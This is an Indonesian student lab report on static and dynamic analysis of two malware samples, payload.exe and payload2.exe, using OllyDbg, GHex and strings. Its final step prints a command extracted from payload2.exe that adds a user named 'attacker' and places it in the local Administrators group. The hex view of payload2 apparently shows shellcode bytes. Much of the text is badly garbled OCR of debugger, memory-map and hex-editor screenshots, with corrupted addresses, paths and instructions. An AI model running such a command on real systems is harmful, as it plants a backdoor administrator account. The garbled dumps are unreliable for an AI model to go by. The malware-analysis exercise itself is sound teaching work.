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Malicious software atau malware adalah segala bentuk software yang membayahakan

baik bagi pengguna, komputer, atau jaringan. Malware merupakan sebab utama terjadinya

banyak kasus penyusupan dalam sistem dan insiden-insiden keamanan. Malware bisa berupa

virus, kuda trojan, worm, rootkit, scareware, dan spyware. Malware berupa sebuah set instruksi

yang berjalan pada sebuah komputer dan mengakibatkan komputer tersebut melakukan

sesuatu yang diinginkan oleh penyerang

Pada percobaan kali ini, menggunakan 3 tools yaitu :

OllyDbg
Ghex

Strings

Pertama disini menggunakan tools OllyDbg. OllyDbg terdiri atas empat jendela utama,
yaitu:

Jendela disassembler (nomor 2): berisi kode program yang di-debug, yaitu pointer
instruksi saat berjalan dengan beberapa instruksi sebelum dan sesudahnya. Biasanya
instruksi berikutnya diberi highlight.

Jendela register (nomor 3). Berisi current state (keadaan saat program berjalan) dari
register untuk program yang di-debug.

Jendela stack (nomor 4). Jendela ini berisi keadaan stack dalam memori untuk thread
yang sedang di-debug. Pada jendela ini selalu ditampilkan puncak stack untuk thread
tertentu.

Jendela dump memori (nomor 5). Berisi dump dari memori untuk proses yang di-debug.
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= Berikut merupakan tampilan dari tools OllyDbg dengan target file payload.exe

-
L] Log data == ]
Address | Message A
OllyDbg w1.1@
File "Ci~Users~User-Down loads~TUGAS_k jk~TUGAS-pay loads-pay loads~pay load. exe’
Hew process with ID BEABADSY created
EE4E5A30( Main thread with I0D BBOEE0OCE created
BE4EERER | Modu e Ci~Users User-0own lLoads~TUGAS_k jk~TUGAS~pay loadspay loads~pay load. exe
CRC changed, discarding .udd data
72EVEE0E| Modu le Cislindows~SYSTEMS3Z2-WSOCK32. L1
FAD1EEEE [ Mody le CosWindows~SYSTEM32 ~boryptPrimit ives.dlL
FA407EEEE| Modu le Ci~llindows~SYSTEM32~CRYPTEBRASE. AL L
FA402EAEA | Modu le Cr~llindows~SYSTEM32-~S=spiCli.dlL
FADCEAEE [ Moduy Le CosWindows~SYSTEMZ2~W52_32. d1 L
FAFCEEEE| Modu le Ci sl indows~SYSTEM32~MSI.dL 1L
FEASEREEA| Modu le Ci~llindows~EYSTEM22~KERHEL22. OLL
FEFEEEEE | Modu e CosWindows~SYSTEMZ2~MSUCRT. dL L
FEYAEEEE [ Mody Le CosWindows~SYSTEM32~RPCRT4. d1 L
FERGEEEE| Modu le i~ indows~5YSTEM32~KERHELEBASE. d1 L
FEB4EREA| Modu le Cr~llindows~SYSTEM22~A0OUARIZZ. 1 L
FP2eEEEE| Mody le CosWindows~SYSTEM32~sechost. . dL 1
FrEEEEEE| Modu le Cillindows~SYSTEM32~ntdll.dL L W
FPECEDEY | Single step ewent at ntdll.7FPECEDE4
CPU - main thread, module ntdll [ |[-E | S]
2T cotiaa oo MOW DWORD PTR. S5:LESF+E1,EE Reaisters (FEL)
~ =)
ProCHOLs | vE3 SZAEE18E JHP ntdl L. PPEOBSEF -
PPECE0SD| 8043 B@ LEA ECX,DWORD PTR OS:[ECK] Eih D B lerEL i o
FrECHDGE| CBD4 HOU_EDO, ESP R R
FTECA0GZ| BF34 SYSENTER R acaag
FFECO0EY| 202424 LEQ ESP,OWORD PTR S5:[ESPI e g
FrECEDET | vEE B3 JHP SHORT ntdll.KiFastSustenCal lRet e B
FrECEDES| CC INTZ o A
FrECEOSA| CC INT2 SEh R
FFECAOEE| CC INT3
FFECEOEC| CF RETH EIF 77SCBOS4 ntdll.77SCODS4G
FrECEDE0| 2DR424 BeooR@Ra| LER ESP,DWORD PTR SS:LESF] .
FrECAO7A| BDA424 DEBBBOAE LEA ESP.OWORD FTR 55:LESP] B 58 D e Aanaass
SCEERNCC| Absazd ee UBR EDx,DUORD PTR 551 CESP+a1 g B =2 G SeplE Bl
' : Z B DS B82E 32bit BLFFFFFFFF)
erdganed)| ER e T e S @ F3 GESZ Szhit 7FFODBEELFFF)
rrecit % Hee T2 G5 ga2B 3200t GIFFFFFFFEF)
astansd|gas ez 0 G LastErr ERROR_SUCCESS (RGOEGEHE
PPECEOZE| 90 NOF | EFL e@@eszez (MO, ME,ME, A,NS, PO, EE, G)
CLAN k15| HOE
EEA=7F F DE G0 2Tt et 5o
Stack 55:[B016FFFS]=AREARAGA STE s BB
ST2 empty H.8
[y o | 3 IrErl
SEFF o [SEEEEE]
Pdress Hew dump A [BATEFFFe] AR4AEASD| paw Load. <Mody LeEntruPoint ¥ 2
HE400002| 08 A0 BE 06|90 00 B9 DA, RS oA
0400016 01 05 B8 05| o4 AE A9 0| Q.
GE4E0012| 61 05 98 06 61 00 00 96| @,
GO4E002G) B1 G0 GO 06| 00 06 A6 06| 6,
BE4E0022| 26 C2 CY 01|98 08 68 oalc
0400030 ER OB 41 06|32 00 00 08| 02A.
£E400822| 42 00 P8 05|48 89 B0 Ga|EB...K..
GG4E0A4G) 5B B8 96 A6 SA A8 A8 GalF...z..
GE4E0042| SF B0 96 G662 68 68 Ga|_. .. 6.
0400050 62 A0 BE BE| &4 BA B0 BA|T...d...
004600853 25 73 3A 28|43 61 6E SE|Hs: Cann
0400850 6F 74 28 75| 72 65 20 63| ot wse o
GO4E0065| 6F 6E 63 75|72 72 65 BE|oncurren
GE4E067E| 62 79 28 BC| 65 76 65 BC|cw Llewel
00460878 | 28 67 72 65|61 74 €5 72| greater v w




Threads =B S|
Ident Entiry Oata block]|Last error Status Priority|User time Sustem a
HEEREOCE | BA4R5AS0| FFFODSGHE ERROF_SUCCESS [@EI Act ive 22 + @ B.BERE < =]
W
(] Memory map = ol T
Address |Size O e Section |Contains Tupe|Aocess | Initial|Mapped as ~
HEE 1 DA | Baa ]l BEa0 Map [RW Rl
HEE4HEEA | BEAKFEa0 Map |R R
DEEZEEEE | BEa0E8a0 Friwv| Bl Gua) Rl
HE1ZCHEA | BEAD2EBA0 Friwv| Bl Gua) Rl
HE1ZEREA | BEAD2EEa0 stack of malPriv Bl Gua) Bl
HE 1 IHEEE | BEAD4EEa0 Map (R R
HE1ABEEA | BEAD2EE80 Friw| Rl Rl
HE 1 EQEEA | BEAH3EEa0 FPriwv| Bl Rl
HEZANEEA | BEANEEA0 Friw| Rl Rl
HEZ 1 HEEa| BaayEBAR Map |R R ~Dew ice~Harddiskl)
BE4A08E8E ) BEA01880| pay load FE header Imaq| R RWE
HE4E1 886 | BEACDEBEAD| pay load | . teHt code Imag| R RWE
HE4ACHEA | BEAD1EBA0 | pay load | .rdata imports Imag| R RWE
HE4A0EEE | BEANSEAN | pay load | . data data Imag| R REWE
HE4 1 5EE8A| BEAR18A0| pay load | . rsrc TESOUTCEs Imag| R RWE
HEEIHEEE | BEAH9EEa0 Priwv| Bl Rl
YIE27F0EEA| BaA018a0n | WSOCK 32 FE header Imag| R RWE
F3371800| AEEE30A8 | WSOCK3Z2 | text code, export) Imag| R RUE
TI3274880) BEanlean WI0CK3z2 | . data data Imaa| R RWE
T337FEEEA| BEA018Aa0 | WS0CK32 | . idata imports Imag| R RWE
TIIFEEEA) BEAn18an | WS0CK3z2 | .rsrc CESOUTCES Imag| R RWE
TEEVrEEA| BEAn1E8an | WS0CK22 | .reloc relocations| Imag| R REWE
7401 HEEA | BEAH]1BA0 | borypt Pr FE header Imaga| R RWE
74011888 BEA4EBAL | borwptPr| . text code, edport{ Imag| R RWE
r405FEEA| BBA018A0 | boryptPr| L data data Imag| R RWE
T40EE8EE | BEEA 1A88 | boryptPr| @ idata imports Imag| R RUE
T40& 1886 BEA01880| borwptPr| « cs0c CESOUDTES Imaq| R RWE
T40GZ2EEE | BEADZEA0 | borwptPr| « e loc relocations| Imag| R RWE
T407FHEEE | BEA018a0| CRYFTBRS FE header Imag| R RWE
7407 18EE| BEA04E8a0 | CRYFTBRS| . text code, enport{ Imag| R REWE ¥
T4O07FEEEA| BEAR 1888 | CRYPTBAS| . data data Imaal R RWE
[E] Executable modules =n Eoh ==
EBase Size Entiy Mame File wersion Fath
BE4E0EEE | GO0 ] 080 | BB4A5H20| pay load | 2.2.14 Ci~Users~User~Down Loads~TUGHS_k jkTUGASpay Loads™
FEIVO0EE | BO0R2A680 | Y2IFIACE| WSOCKI2 | 6.3.9588, 16284 | Ci~Windows~SYSTEMI2~WE0CKI2. 1L L
7401 8RR | BERS4AEE | 7401 24FA| beryptPr| 6. 3. 9664, 17415 | C:~llindows~SYSTEM32~boryptPrimit ives.dlL
T407E0EE | BEEEAAEE| 7407 1008| CRYPTBRS| 6.3.9588. 17415 | C:~Windows~SYSTEM3Z2-CRYFPTEBASE. dL L
F402E0EA | BEE1ERER| F402E296 | SspiCli | 6.3.9668A, 17415 | Ci~lindows~SYSTEM32~5spiCli.dlL
Fv40CEQEE | BEESEEEE | F40C1506 | WS2_32 G.3.95688, 16384 | C:~Windows~SYSTEM32-WS2_32.d11L
F4FCHRBA | BERATARE | F4FC166E| HST 6.3.9660A, 17415 | C:~llindows~SYSTEM32~HST.dL L
TE548800E | 88148888 75497098 | KERHELSZ | 6.3.9688. 17831 | C:~Windows~5YSTEMS2-~KERNEL3Z.OLL
TErEE0EE | BEEC3AEE| FSFEEL48| MSUCRT | 7.8.9588. 17415 | C:~Windows~SYSTEM3Z2-MSUCRT.AL L
FESAE0EE | BEEEBABEE| FEICEZ4E| RPCRT4 6.3.95086, 16384 | C:~Windows~5YSTEM32-RPCRT4.d1 L
FEREEHEE | BEE0YEEE| FEASFEAE | KERHMELEBA| 6. 2. 9684, 17621 | C:~lindows~SYSTEM32~KERHELERASE. dL L
TEE4E00E | BEE7CARE| FSB41F 18| ADVAPISZ| 6.3.96568. 16384 | C:~Windows~SYSTEMSZ2-~AOUARIZZ. 1L
Tr26E0EE | BE0d 1A8E| FF2613E@| sechost | 6.3.96088. 16384 | C:~Windows~SYSTEM3Z2~sechost.dl 1
FrEgEnea | BalsEqBG ntdll 6.53.9580, 178231 | C:~Windows-SYSTEMS32~ntdl L. dl L W




File View Debug Options Window Help

(B x] »[n] wif+] ¥ = L[E|M[T|w|H|[c|/]|K][B|R][.[5]
Address [Disassembly Tent string

Fro21BSF| CHMP ECH, ERK CInitial CPU selecti

7r581F81| PUSH ntdll. 7PEE2896 UMICODE ""COMPLUS_ InstallRoot"

TFE21FAD| PUSH YFFED sind

7FE23821 | PUSH ntdll.77EDEFOC Ui L™

7r583287 | MOV DWORD PTR S55: CEBP-181,ntdll. FrE01E3 ()i

TFPE23AS0| PUSH ntdll.77ED230EA Ui WE "

7FE23B14| PUSH ntdll.77ED306A W

77586029 PUSH ntdll.77E0176S Sessions”

7PE2E02ZE| PUSH ntdl1.77EDLVIC E us\/ld\ﬂDDCOntalner‘NamedDbJects\"
7r53870F | FUSH ntdll.77SCE44A I ™SE_InitializeEngine'

7TSE8888E| PUSH ntdll.77SCE45E ASCIT ™SE_ShimDllLoaded™

TFPE2223E| PUSH ntdll.77ECE47E ASCIT "™SE InstallBeforelnit™

TPE222EE| PUSH ntdll.77ECE426 ASCII "SE_InstallﬂFterInlt"

7rS8889E| PUSH ntdll.77SCE49A ASCII "™SE_DIlLoaded™

TFPE22ECE| PUSH ntdll.77ECE4AS ASCIT "SE_DLLlUn loaded™

TFPE228FE| PUSH ntdll.77ECE4ES ASCII "SE_LdrEntryRemoued”

FrSE8892E| PUSH ntdll.77SCE4CC ASCII "™SE_ProcessDuing™

TFPE229EE| PUSH ntdll.77ECE40C ASCII "SE_LdrResolueDl lMHame™

TPE2298E| PUSH ntdll.77ECEB4FZ ASCII "SE_GetProcﬂddressForCaller"
7TS889BE| PUSH ntdll.77SCESEE ASCII "Apphe lpCheckModu le™

7rE29814| PUSH ntdll.77SCEEES UMICODE "DebugProcessHeaDDnly

7rE29842| PUSH ntdll.77ECC2CE UMICODE Loba

7rS896E7E| PUSH ntdll.77SCC366 u WOT L lEgalInDLLSearCh"

TFPE29EER| PUSH ntdll.77SCACAE u necutelpt ions™

7FE29808| PUSH ntdll.77ECC14E u isableEsceptionChainlalidation™
7rEE9116(PUSH ntdl 1. 7FSCC1IAA u inimumStackCommitInBute:

TPE2917E| PUSH ntdll.7FECC294 u 2 DeadAct Lvat lonContent

TPE291FE| PUSH ntdll.77ECCE20 u isableHeaplookaside™

TrSE928E| PUSH ntdl L. 7FSCCABA u rontEndHeapDebuglpt ions™

TPE29227 | PUSH ntdll.77ECCEEC u hutdownF Lags"™

7rE29248| PUSH ntdll.77ECC1A2 u n loadEvent TraceDepth™

il ol PUSH ntdll.77SCC154 u racingFlags"

7FPE29BDE| PUSH ntdll.7FPEE9CER u "AITEnable™

TPE2OCEE| MOU ECH.ntdll.7FE290E8 UMICODE "Reaistry~Machine~Software~Policies~Microsoft~Windows Appcompat™""
7r5E90Es| MOU ECH,ntdl . 7PS330ER UNICODE ™-RegistrysMach inenSoftwaresMicrosoftlindows nt .currentuersion“appconpatf Lagz~AIT"
TFPE2AES7F| PUSH ntdll.77ECESFE UMICODE "\Reglstrg\ﬁachlne\SDFtuare\H icrosoft~SOMCL ient~Windows~DisabledProcesses™"
TFPE2AS3E| PUSH ntdll.77ECESES UMICODE "swchost.ene™

TrSEAAL4 | PUSH ntdll.FFECEGLE UMICODE "~RegistryMach ine~Softwaresficrosoft TelemetruCl ient Thrott | eStorensgmwindows winsgna"™
TPE2AAZ2| PUSH ntdll.77ECEETS UMICODE "\Reglstrg\ﬁachlne\SDFtuare\H icrosoft TelemetryClient Samp leStore sgmwindows winsgmg™
TFPE2BEYE| PUSH ntdll.77ED1620 u E "MUI™

FPEEBS11| MOU ECk,ntdll. 77ECER4d u ASamMan ifestUersion™

7FE2E2A4| PUSH ntdll.77SCEERZ u "Z!daptiueSquameSDaceBoundary"
7FPE2B2C3| PUSH ntdll.77SCEEIC u

FTESCEFD| MOU ECK, FFFEBBSA u ~Mindows"™

TrEECC USH 7FFI u

TTEECE; OU ESI,ntdll.7FE074AE u

7rEa0s: 0L EBX.ntdll.??532934 A

TPE2F124| PUSH ntdl1l.77E2F1 u B -2 Ed I HBZuXBZ2H HB2H HE2n X220 1
TFPE2FALE| PUSH ntdll.77SCECH C u

TTEEFA FUSH ntdll.77SCECEC u

il £ ou DWORD PTR SS:[EEBP-221,ntdll.7FE01E30 L

il ou DWORD PTR SS:[EEP-481,ntdll.7FE011EIL drResGetRCConf ig9 Enter™

FTE92ETE| MOU DWORD PTR S5:[EEF-4C]1,ntdll.77E0121] U drResGetRCConf ig Exit"”

TFPE9270D4| MOU DWORD PTR SS:[EBP-181,ntdlLl.7FE01Z2ENL t lpResULt imateFal lbackInfo Enter"
TFPEI28E2| MOU DWORD PTR SS:[ESP+4CT,ntdll.7FE014CI U drResFallbackLanglist Ente:
FTE9ZEFS| MOU DWORD PTR S5:[ESF+541,ntdll.77PE0156: U drResFal lbackLanglist Enit™
TFEIZA0F :JSH ntdll.7FED1E20 "

TPEI419F ) EST,ntdll.7FE11BES

7rEad4ic :IU ESI,ntdll.77E11BES

7rE9421C MOU ESI,ntdll.77E113688

FrE9597C| CHMP EAX,ntdll.77E0ACTC Ac:

TTESEAZ9 MOU EST,ntdll.7FEIEATE UMICOCDE ™.Local>"

TEEISHCC| MOU ESI.ntdll.7FEDB2AZ UMICODE "\ll.llnSHS\"

FrE97EIC| MOU ESI,ntdll.77E110ES ASCIT ™inulll™

TrESFE42 MOU EST,ntdll.7FEL1262 UNICDDE "[null]"

7T CE2| MOU ESI ntd l ??6 IBES ASCIT "inull)

il SAF|PUSH n UMICODE "

7TE923EE| FUSH ntdll ??5D255E SCIT

il ASD| MOU DWORD PTR SS:[EEBP-181,ntdll. FFED1E3 UMICODE LI

il BEF| MOU ECH.ntdll.7FEFFEFE ASCIT "POY"™

2. Untuk file payload2.exe tidak bisa dibuka menggunakan tools OllyDbg.

3. Kemudian menggunakan tools Ghex. Berikut tampilan Ghex dengan target file

payload.exe

payload.exi

000BOAOBEID 5A 90 6O 03 00 00 0O 04 00 0O
000600106/B8 00 60 B0 00 00 0O B0 40 00 00
00000020/00 0O 00 6O 0O 0O 0O 0O 00 0O 0O
000000306/00 00 00 GO 00 00 0O 0O 00 00 B0
000000400E 1F BA OE 00 B4 09 CD 21 B§ 01
00000050/69 73 20 70 72 6F 67 72 61 6D 20
00000060]74 20 62 65 20 72 75 6E 20 69 6E
00000070/6D 6F 64 65 2E OD OD GA 24 00 00
00000080|93 38 FO D6 D7 59 9E 85 D7 59 9E
00POOAIGJAC 45 92 85 D3 59 9E 85 54 45 90

Signed 8 bit: | 77 Signed 32 bit: | 9460301 Hexadecimal: | 4D
Unsigned 8 bit: | 77 Unsigned 32 bit: | 9460301 Octal: | 115
Signed 16 bit: | 23117 Float 32 bit: | 1,325671e-38 Binary: | 01001101
Unsigned 16 bit: | 23117 Float 64 bit: | 6,370661e-314 Stream Length: | 8 = |+
Show little endian decoding "] show unsigned and float as hexadecimal

Offset: 0x0




4. Setelah membuka file payload.exe menggunakan tools Ghex, kita dapat mengetahui digit

kode pada file tersebut yaitu : 4D 5A 00 03 00 00 00 04 00 00 00 FF FF

DOS MZ executable file format and
its descendants (including NE and
PE)

exe 0 MZ 4D 5A

«

5. kemudian cocokan kode tersebut pada tabel kode yang ada pada halaman

web http://www.garykessler.net/library/file sigs.html “. berikut tampilannya

EBESENCcO 00 03 00 00 00 MZ..oooo

API Acrobat plug-in

AX DirectShow filter

FLT Audition graphic filter file (Adobe)
4D SA S0 00 03 00 00 00 MZ..... ‘
04 00 00 00 FF FF wn e OO

ZAP ZoneAlam data file

= File ini tidak bisa di buka di DOS ataupun windows.

6. Kemudian tampilan file payload2.exe menggunakan tools Ghex. Tetapi tidak ditemukan

kode file yang cocok dengan kode file pada payload2.exe ini.

B payload2.exe - GHex

File Edit View

windows Help

Cllelelolelele] Fle
00000010[52
2061
00000030[10
0000004001
00000050|C1
00000060[ES
0000007088
00000080[E0
9000

E8
oc
7c
8B
D3
CF
58
04
5F
50

82
8B
02
4A
8B
oD
8B
8B
5F
68

00
52
2C
3C
49
01

0o
14
20
8B
18
c7
24
Do
8B
8B

00
8B
Cl
4C
E3
38
01
89
12
6F

66
72
CF
11
3A
E0
D3
a4
EB
87

01
S5A
31

89
28
oD
78
49
75
66
24
8D
FF

E5
oF
0l
E3
8B
F6
8B
24
5D
D5

31
B7
c7
48
34
03
[:[e
5B
6A
BB

ce
4A
E2
0l
8B
7D
4B
5B
0l
Fo

Signed 8 bit: '-4

Unsigned 8 bit: ( 252

signed 16bit: [ -5892
Unsigned 16 bit: '59644
Show little endian decoding

Offset: 0x0

Signed 32 bit:
Unsigned 32 bit:
Float 32 bit:

Float 64 bit:

( 8579324
(8579324
(1,202219¢-38 ]

-1,587866e-263

Hexadecimal: | FC

octal: [ 374
Binary: [ 11111100 )
Stream Length: ( 8 -+

) show unsigned and float as hexadecimal



http://www.garykessler.net/library/file_sigs.html

7. Setelah itu, menggunakan tools selanjutnya yaitu strings. Berikut tampilan

payload.exe menggunakan tools strings

Your code just forked, and you are currently executing in the parent process
Your code just forked, and you are currently executing in the child process
Internal error
The process is not recognized.
The given path contained wildcard characters
The given path is misformatted or contained invalid characters
The given path was above the root path
The given path is incomplete
The given path is relative
The given path is absolute
The specified network mask is invalid.
The specified IP address is invalid.
DSO load failed
No shared memory is currently available
No thread key structure was provided and one was required.
No thread was provided and one was required.
No socket was provided and one was required.
No poll structure was provided and one was required.
No lock was provided and one was required.
No directory was provided and one was required.
No time was provided and one was required.
process was provided and one was required.
invalid socket was returned
invalid date has been provided
A new pool could not be created.
Unrecognized Win32 error code %d
Cancello
GetCompressedFileSizeA
GetCompressedFileSizel
ZwQueryInformationFile
GetSecurityInfo
GetNamedSecurityInfoA
GetNamedSecurityInfoW
GetEffectiveRightsFromAcln
ntdll.d11
shell32
ws2_32
mswsock
advapi3z
kernel32
root@mardiah-X455LF: fhome /mardiah/Downloads/TUGAS /payloads# I

8. Berikut merupakan tampilan file payload2.exe menggunakan tools strings

@S @ root@mardiah-X455LF: /home/mardiah/Downloads/TUGAS /payloads
root@mardiah-X455LF: /home/mardiah/Downloads/TUGAS/payloads# strings payload2.exe

cmd.exe /c net user attacker Gantengl /ADD && net localgroup Administrators atta
cker /ADD
root@mardiah-X455LF: /home/mardiah/Downloads/TUGAS/payloads# I

file



